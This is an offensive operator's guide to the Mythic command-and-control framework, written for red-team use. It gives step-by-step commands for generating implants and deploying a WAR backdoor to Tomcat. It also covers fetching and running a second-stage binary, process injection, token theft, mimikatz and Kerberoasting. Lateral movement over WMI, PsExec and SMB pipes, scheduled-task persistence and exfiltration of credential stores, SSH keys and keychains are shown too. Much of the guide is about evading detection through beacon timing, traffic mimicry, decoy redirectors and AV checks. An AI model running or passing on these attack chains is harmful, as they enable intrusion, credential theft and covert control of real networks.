7.4_Mythic_C2_Operator_Guide

7.4 Mythic C2 — Operator's Field Guide

BLUF: Mythic is a modular, containerized C2 framework where every agent and every transport layer is a swappable Docker container. It gives you Apollo (.NET Windows, BOF support), Athena (.NET 6 cross-platform), Medusa (Python/Java/WAR), and Hannibal (PIC shellcode) as agents, paired with HTTP, HTTPS, DNS, WebSocket, SMB, or TCP transports — all managed from a collaborative web UI and a single CLI. This guide covers operator-grade setup, agent selection, C2 profile OPSEC, payload generation, and post-callback technique.

Warning

Authorized use only. All techniques for professional red team engagements with written scope.

Note

Architecture Overview

Operator Browser
      |
      | HTTPS :7443
      v
 +--------------------+
 |  Mythic Teamserver |  (Golang API + PostgreSQL + RabbitMQ)
 |   - Web UI         |
 |   - REST API       |
 |   - GraphQL API    |
 +--------------------+
      |        |
      | RabbitMQ messaging bus
      |        |
 +-----------+ +---------------+
 | Payload   | | C2 Profile    |
 | Container | | Container     |
 | (Apollo,  | | (http, httpx, |
 |  Athena,  | |  dns, smb,    |
 |  Medusa)  | |  websocket)   |
 +-----------+ +---------------+
                     |
              [Internet / Target network]
                     |
              +------+-------+
              | Agent/Implant|  <- running on target
              +--------------+

1 — Install

# Requirements: Docker + Docker Compose (v2)
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo make

# Start the framework
sudo ./mythic-cli start

# Web UI: https://localhost:7443
# Credentials printed to terminal on first start — change immediately:
sudo ./mythic-cli config get MYTHIC_ADMIN_PASSWORD

# Health check:
sudo ./mythic-cli status         # all containers green?
sudo ./mythic-cli logs mythic_server   # teamserver logs

Firewall the Teamserver

# Nothing should reach the Mythic server except:
#   - Operator management (22, 7443 from your VPN/jump box)
#   - Redirector IP on the C2 port (e.g. 443)
ufw default deny incoming
ufw allow from YOUR_VPN_IP to any port 22
ufw allow from YOUR_VPN_IP to any port 7443
ufw allow from REDIRECTOR_IP to any port 443
ufw enable

# Never expose :7443 to the internet — it's the management console

2 — Install Agents and C2 Profiles

# ---- AGENTS ----
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo      # Windows .NET
sudo ./mythic-cli install github https://github.com/MythicAgents/Athena      # Cross-platform .NET 6
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa      # Python + Java/WAR
sudo ./mythic-cli install github https://github.com/MythicAgents/Hannibal    # C PIC shellcode
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon    # macOS/Linux Go

# ---- C2 PROFILES ----
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/httpx
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/smb

# Verify installed:
sudo ./mythic-cli status

3 — Agent Selection Matrix

Agent Language OS Disk Format Key Strengths Best Use Case
Apollo C# / .NET 4.0 Windows EXE, DLL, Shellcode BOF execution, token ops, injection, SOCKS5, SSH Primary Windows implant
Athena C# / .NET 6 Win/Lin/Mac EXE, DLL, Shellcode Modular plugins, AOT compile, cross-platform Diverse env, Linux operator box
Medusa Python Win/Lin/Mac/Java EXE, JAR, WAR Java/Tomcat targets, Python-friendly plugins Web app initial access → full C2
Hannibal C (PIC) Windows Shellcode only No CRT, tiny footprint (~50KB), no PE headers in memory Loader-first delivery, shellcode runner
Poseidon Go macOS, Linux EXE macOS-native ops, launchd persistence macOS target post-exploitation

Quick Decision

Windows enterprise target (EDR present)
  -> Hannibal shellcode (loader stage) -> migrate to Apollo (full capability)

Tomcat / WAR initial access
  -> Medusa WAR -> pivot to Apollo on Windows hosts

Cross-platform (mixed env)
  -> Athena (.NET 6 AOT or single-file binary)

macOS target
  -> Poseidon (launchd, osascript, keychain)

Minimal footprint / BYOL (Bring Your Own Loader)
  -> Hannibal — export raw shellcode, load with your own loader

4 — C2 Profile Selection

Profile Transport OPSEC Tier Notes
httpx HTTPS High TLS with Let's Encrypt, customizable headers and URIs
http HTTP Medium Plaintext — lab use or internal pivots only
dns DNS UDP High Survives web proxy environments, slow throughput
websocket WS / WSS High Mimics real-time app traffic (Slack, Teams)
smb Named pipe Very High Peer-to-peer lateral movement inside target network; no egress
tcp Raw TCP Medium Internal pivot between compromised hosts

Profile OPSEC Summary

Egress to internet:  httpx (preferred) > websocket > dns
Internal lateral:    smb (named pipe) > tcp
Through web proxy:   httpx (port 443, mimics browser) > dns-over-HTTPS
Highly restricted:   dns (TTL-tuned, low query rate, DoH wrapper)

5 — Payload Generation

5.1 — Web UI Flow

1. https://localhost:7443 -> Login
2. Payloads -> [+] Generate New Payload
3. Select OS:      Windows / Linux / macOS
4. Select Agent:   Apollo / Athena / Medusa / Hannibal
5. Select C2:      httpx (recommended for most ops)
6. Configure C2 parameters (Section 5.2)
7. Select Commands to include (Section 5.3)
8. Build -> Download

5.2 — httpx Profile Configuration (OPSEC Settings)

Callback Host:      https://redirect.yourdomain.com   <- redirector/CDN, never direct C2 IP
Callback Port:      443
Callback Interval:  300                               <- 5 min base sleep (never use defaults)
Callback Jitter:    45                                <- 45% -> actual range: 165s-435s
Kill Date:          2025-12-31                        <- payload auto-dies at engagement end
Encrypted Exchange Check: true                        <- key exchange before first task

User-Agent:     Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Headers:
  Accept:           text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language:  en-US,en;q=0.9
  Accept-Encoding:  gzip, deflate, br

URIs (GET - check-in):
  /api/v2/sync
  /cdn/assets/manifest.js
  /health
  /static/img/logo.png

URIs (POST - task response):
  /api/v2/upload
  /submit
  /collect

Response:
  Content-Type:   application/octet-stream   <- not "text/plain" (C2 default IOC)

What these settings affect:

Setting Bad Default Good Operator Value Why
Callback Interval 10s 300s+ 10s triggers every NDR beacon-timing rule
Jitter 0 40-50% Flat intervals = trivial statistical detection
URIs /login, /index /api/v2/sync, /cdn/assets/ Known IOC paths in Snort/Suricata rules
User-Agent Mythic/x.y Chrome UA Framework UA = instant block at proxy
Kill Date none engagement end Dead implants that survive past scope are a liability

5.3 — Apollo Command Selection

Apollo commands to include (balance capability vs. footprint):

Core (always include):
  execute_shell     shell_execute     sleep     exit
  download          upload            ls        cd
  ps                getpid            whoami

Post-Exploitation:
  inject            shinject          execute_pe
  execute_assembly  bof               load_assembly
  socks5            ssh               port_scan

Credential Ops:
  mimikatz          dcsync            make_token
  steal_token       rev2self

Lateral Movement:
  spawn             spawnto           link (SMB P2P)
  jump_wmi          jump_psexec_psh

Persistence:
  reg_write         schtasks_register

OPSEC (include carefully, logs generated):
  keylog            screenshot        clipboard_monitor

Exclude commands you don't need — smaller command set = smaller compiled binary = lower entropy / AV surface.


6 — Apollo Deep Dive (Primary Windows Agent)

Apollo is the most capable Mythic Windows agent. Treat it as the Cobalt Strike beacon equivalent.

6.1 — BOF Execution (Beacon Object Files)

Apollo can run Cobalt Strike BOFs directly — any BOF that works in CS works in Apollo.

# In Mythic UI -> Interact with Apollo callback
bof /path/to/local/whoami.o

# Run Trustedsec's BOF collection:
bof TrustedSec/situational_awareness/ProcessList.o

# Kerberoast via Rubeus BOF (in-process, no fork):
bof TrustedSec/credential_triage/kerberoast.o
# Build a custom BOF (C, compiled to COFF object):
x86_64-w64-mingw32-gcc -o custom.o -c custom.c -masm=intel
# Load into Mythic via bof command

6.2 — Token Manipulation

# List available tokens:
list_tokens

# Steal token from PID 1234 (requires SeImpersonatePrivilege or SeDebugPrivilege):
steal_token 1234

# Create token from plaintext creds (for lateral movement):
make_token DOMAIN\user Password123

# Revert to original token:
rev2self

6.3 — Process Injection

# Inject Apollo shellcode into a running process:
inject --pid 1234 --shellcode_path /tmp/apollo.bin

# Inject raw shellcode (bring your own):
shinject --pid 1234 --shellcode_path /tmp/payload.bin

# Spawn + inject (create new host process first):
spawnto --application C:\Windows\System32\svchost.exe -k netsvcs

6.4 — execute-assembly (In-Memory .NET)

# Run any .NET assembly in memory — no EXE written to disk:
execute_assembly /local/path/Rubeus.exe kerberoast /outfile:hashes.txt
execute_assembly /local/path/Seatbelt.exe -group=user
execute_assembly /local/path/SharpHound.exe -c All --zipfilename loot.zip
execute_assembly /local/path/Certify.exe find /vulnerable

6.5 — Lateral Movement

# WMI lateral movement (no PSExec):
jump_wmi --computername TARGET --command "C:\Windows\Temp\payload.exe"

# PSExec-style (service creation):
jump_psexec --computername TARGET --service_name svcupdate \
    --command "C:\Windows\Temp\payload.exe"

# SMB P2P link (no new egress needed from TARGET):
# 1. Drop Apollo SMB payload on TARGET (via upload + jump)
# 2. Link from current callback:
link --host TARGET --named_pipe \\.\pipe\svcctl
# Apollo on TARGET now communicates back through the current callback

6.6 — SOCKS5 Pivot

# Start SOCKS5 proxy on operator port 1080:
socks5 start 1080

# On operator machine, route tools through proxy:
proxychains nmap -sT -p 80,443,8080,8443 192.168.10.0/24
proxychains crackmapexec smb 192.168.10.0/24 -u admin -H NTLM_HASH

7 — Athena (Cross-Platform .NET 6)

Athena loads commands as plugins at runtime — the base agent is small, capabilities are extended post-deployment.

# Load a plugin from the C2 server at runtime:
load-assembly --assembly-name AthenaSliver

# Available built-in commands (cross-platform):
ls        cd        download    upload
ps        getpid    ifconfig    curl
shell     sleep     exit
# Build for Linux (AOT — single binary, no .NET runtime needed on target):
dotnet publish -r linux-x64 -p:PublishSingleFile=true --self-contained true

# Build for macOS ARM:
dotnet publish -r osx-arm64 -p:PublishSingleFile=true --self-contained true

Athena advantage: AOT compilation + single-file binary means no dotnet install needed on target. Portable across Linux, macOS, Windows from one codebase.


8 — Medusa (Java/WAR Targets)

WAR Deployment to Tomcat

# Generate Medusa WAR payload in Mythic UI:
# OS: Java | Agent: Medusa | C2: httpx

# Deploy via Tomcat Manager REST API:
curl -u manager:password \
  -T medusa.war \
  "http://TARGET:8080/manager/text/deploy?path=/monitor&update=true"

# Trigger first callback:
curl http://TARGET:8080/monitor/

# Mythic UI -> Callbacks -> new callback appears

Medusa Post-Callback

# Medusa command set (Java context):
shell whoami
shell id
ls /
download /etc/passwd
upload /tmp/stage2 ./apollo_linux
shell chmod +x /tmp/stage2 && /tmp/stage2 &
# Apollo/Athena callback now provides full feature set

9 — DNS C2 Profile

DNS as a C2 channel survives environments where all TCP/443 is proxied with SSL inspection.

# Prerequisites:
# 1. Authoritative NS for c2.yourdomain.com must point to your Mythic server IP
# DNS records:
#   NS   c2.yourdomain.com  -> ns1.yourdomain.com
#   A    ns1.yourdomain.com -> MYTHIC_SERVER_IP

# In Mythic UI -> C2 Profiles -> DNS -> Start
# Configure:
#   Domain: c2.yourdomain.com
#   DNS Port: 53

# Generate Apollo payload with DNS profile:
# Payloads -> New -> Windows -> Apollo -> DNS
#   DNS Host: c2.yourdomain.com
#   Callback Interval: 60    (DNS is slower; shorter interval acceptable)
#   Jitter: 30

DNS Query Rate OPSEC

# Recommended query rate to avoid anomaly detection:
#   < 10 queries/minute to a single domain
#   600s interval + 30% jitter = ~7-13 min between callbacks = safe
#
# Bad subdomain pattern (DGA-like, immediately flagged):
#   a3f9b2c1.c2.yourdomain.com
#
# Better (mimic update-check patterns):
#   check.svc.c2.yourdomain.com
#   update-status.cdn.c2.yourdomain.com

10 — SMB Profile (Peer-to-Peer Lateral Movement)

SMB named pipes move tasking between compromised hosts with zero new egress — all traffic flows through the host that already has external C2.

Architecture:
  Attacker
    |
    | HTTPS (egress)
    v
  HOST_A (Apollo, httpx callback)
    |
    | Named Pipe (internal SMB)
    v
  HOST_B (Apollo, SMB profile — no internet access needed)
    |
    | Named Pipe
    v
  HOST_C (Apollo, SMB — deep internal network)
# Step 1: Generate Apollo SMB payload
# Payloads -> New -> Windows -> Apollo -> SMB
#   Named Pipe: \\.\pipe\svcctl   (blend with legit service names)

# Step 2: Deploy to HOST_B (via HOST_A's existing callback)
upload /local/apollo_smb.exe -> C:\Windows\Temp\svchost_helper.exe
shell C:\Windows\Temp\svchost_helper.exe

# Step 3: Link from HOST_A callback:
link --host HOST_B --named_pipe \\.\pipe\svcctl

# HOST_B now appears as a child callback under HOST_A in the UI
# All HOST_B tasking flows through HOST_A's httpx egress

11 — C2 Profile OPSEC: HTTP Header Customization

The httpx C2 profile config lives in the profile container. Override defaults to match target-environment traffic.

// InstalledServices/httpx/config/config.json (inside the container)
// Edit via: docker exec -it mythic_httpx bash
{
  "instances": [
    {
      "port": 443,
      "cert_path": "/etc/letsencrypt/live/yourdomain.com/fullchain.pem",
      "key_path":  "/etc/letsencrypt/live/yourdomain.com/privkey.pem",
      "debug":     false,
      "use_ssl":   true,
      "payloads": {
        "GET": {
          "uri": ["/api/v2/sync", "/cdn/manifest.js", "/health", "/static/logo.png"],
          "AgentMessage": {"name": "Authorization", "value": "Bearer {DATA}"},
          "headers": {
            "User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
            "Accept":          "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.9",
            "Accept-Encoding": "gzip, deflate, br",
            "Connection":      "keep-alive",
            "Cache-Control":   "no-cache"
          }
        },
        "POST": {
          "uri": ["/api/v2/upload", "/submit", "/collect"],
          "AgentMessage": {"name": "body", "value": "{DATA}"},
          "headers": {
            "Content-Type":    "application/octet-stream",
            "User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Accept-Encoding": "gzip, deflate, br"
          }
        },
        "ServerResponse": {
          "headers": {
            "Content-Type":  "application/octet-stream",
            "Cache-Control": "no-store, max-age=0",
            "Server":        "nginx/1.24.0"
          }
        }
      }
    }
  ]
}
# Restart profile container after editing config:
sudo ./mythic-cli restart mythic_httpx

# Verify JA3 fingerprint:
pip install jarm-py
python3 jarm.py yourdomain.com 443
# Should look like Cloudflare/nginx, not Mythic default

12 — Redirector Integration

Never point agents directly at the Mythic server IP.

# nginx redirector config (on a separate VPS)
# /etc/nginx/sites-available/redirector.conf

server {
    listen 443 ssl;
    server_name redirect.yourdomain.com;

    ssl_certificate /etc/letsencrypt/live/redirect.yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/redirect.yourdomain.com/privkey.pem;

    # Only forward requests with known C2 URI patterns
    location ~* ^/(api/v2|cdn|static|health|submit|collect) {
        proxy_pass https://MYTHIC_SERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }

    # All other requests -> return 200 decoy
    location / {
        root /var/www/html;
        try_files $uri $uri/ =200;
    }
}
# Blue team hits redirector directly (recon):
curl https://redirect.yourdomain.com/
# Returns: normal-looking website (200 OK)

# Agent hits redirector with correct URI:
# /api/v2/sync -> proxied to Mythic teamserver

13 — TLS: Let's Encrypt for Mythic httpx

# On redirector VPS (Mythic server firewall blocks :443 from internet directly):
certbot certonly --standalone -d redirect.yourdomain.com

# Install cert into Mythic httpx container:
sudo cp /etc/letsencrypt/live/redirect.yourdomain.com/fullchain.pem \
    /path/to/Mythic/InstalledServices/httpx/config/

sudo cp /etc/letsencrypt/live/redirect.yourdomain.com/privkey.pem \
    /path/to/Mythic/InstalledServices/httpx/config/

# Update config.json cert_path and key_path to point to copied certs
sudo ./mythic-cli restart mythic_httpx

14 — Multi-Operator Setup

Mythic is built for teams. Multiple operators interact with the same callbacks simultaneously.

# Create operator accounts in UI:
# Global -> Operators -> [+] New Operator
# Assign to operation: Operations -> [your op] -> Add Operator

# Or via API:
curl -k -s -X POST https://localhost:7443/api/v1/operators \
    -H "Content-Type: application/json" \
    -u admin:password \
    -d '{"username":"operator2","password":"StrongPass!1","admin":false}'

# Create a new operation (isolates callbacks, payloads per engagement):
# Operations -> [+] New Operation -> assign operators

15 — Key Post-Callback Commands Reference

Apollo (Windows)

# Situational awareness:
ps                              # process list
whoami /priv                    # check privileges
shell net localgroup administrators
shell systeminfo | findstr /B "OS Name"

# Credential ops:
execute_assembly Rubeus.exe kerberoast /nowrap
execute_assembly Rubeus.exe asreproast /format:hashcat /nowrap
bof kerberoast.o
mimikatz sekurlsa::logonpasswords      # requires SeDebugPrivilege

# Lateral:
link --host TARGET --named_pipe \\.\pipe\svcctl
jump_wmi --computername TARGET --command "C:\Windows\Temp\beacon.exe"

# Persistence:
schtasks_register --taskname "MicrosoftEdgeUpdate" \
    --binary "C:\Windows\Temp\beacon.exe" \
    --trigger daily --time 09:00

# Exfil:
download C:\Users\target\AppData\Roaming\Microsoft\Credentials\
download C:\Users\target\Documents\

Poseidon (macOS)

shell osascript -e 'tell app "System Events" to keystroke "p" using {command down, shift down}'
shell security find-generic-password -ga "AnyApp"  # keychain dump
shell dscacheutil -q group -a name admin
download /Users/target/.ssh/id_rsa
shell launchctl list | grep -v com.apple

16 — OPSEC Checklist (Mythic-Specific)

PRE-ENGAGEMENT
[ ] Non-default admin password set (./mythic-cli config set MYTHIC_ADMIN_PASSWORD)
[ ] :7443 not reachable from internet (only from operator VPN)
[ ] Redirector fronting all agent traffic — C2 IP never exposed
[ ] Let's Encrypt cert installed (no self-signed)
[ ] JARM confirmed looks like nginx/Cloudflare (jarm.py)
[ ] Custom URIs set — not /login, /index, /gate.php
[ ] Callback interval >= 300s, jitter >= 40%
[ ] Kill date set on all payloads
[ ] Per-engagement operation created (isolates callbacks)

PAYLOAD BUILD
[ ] Tested on isolated VM matching target OS/AV before delivery
[ ] Checked via antiscan.me (does NOT share samples with AV vendors)
[ ] Hannibal used for initial foothold if EDR present (smallest PIC footprint)
[ ] Apollo for full capability after foothold established
[ ] SMB profile for hosts with no internet egress

RUNTIME
[ ] Apollo injected into legitimate host process (svchost, OneDrive) after first callback
[ ] fork_and_run disabled where possible (run BOFs in-process)
[ ] No sensitive data passed in plaintext task args (use Kerberos tickets/hashes)
[ ] All lateral movement through beacon channels

POST-ENGAGEMENT
[ ] All callbacks killed via Mythic UI (not just ignored)
[ ] Operation marked complete (freezes artifacts for reporting)
[ ] IOC package prepared for blue team: domains, IPs, JA3/JARM, payload hashes, pipe names, URI patterns
[ ] Infrastructure destroyed (not just stopped)

Key References

Resource Link
Mythic Documentation docs.mythic-c2.net
Mythic Framework github.com/its-a-feature/Mythic
Apollo Agent github.com/MythicAgents/Apollo
Athena Agent github.com/MythicAgents/Athena
Medusa Agent github.com/MythicAgents/Medusa
Hannibal Agent (PIC C) github.com/MythicAgents/Hannibal
Poseidon (macOS/Linux) github.com/MythicAgents/Poseidon
MythicC2Profiles org github.com/MythicC2Profiles
MythicMeta containers github.com/MythicMeta
All community agents github.com/orgs/MythicAgents/repositories
C2 RedTeam CheatSheets github.com/wsummerhill/C2_RedTeam_CheatSheets

Back to Pillar 7: C2 · Master Index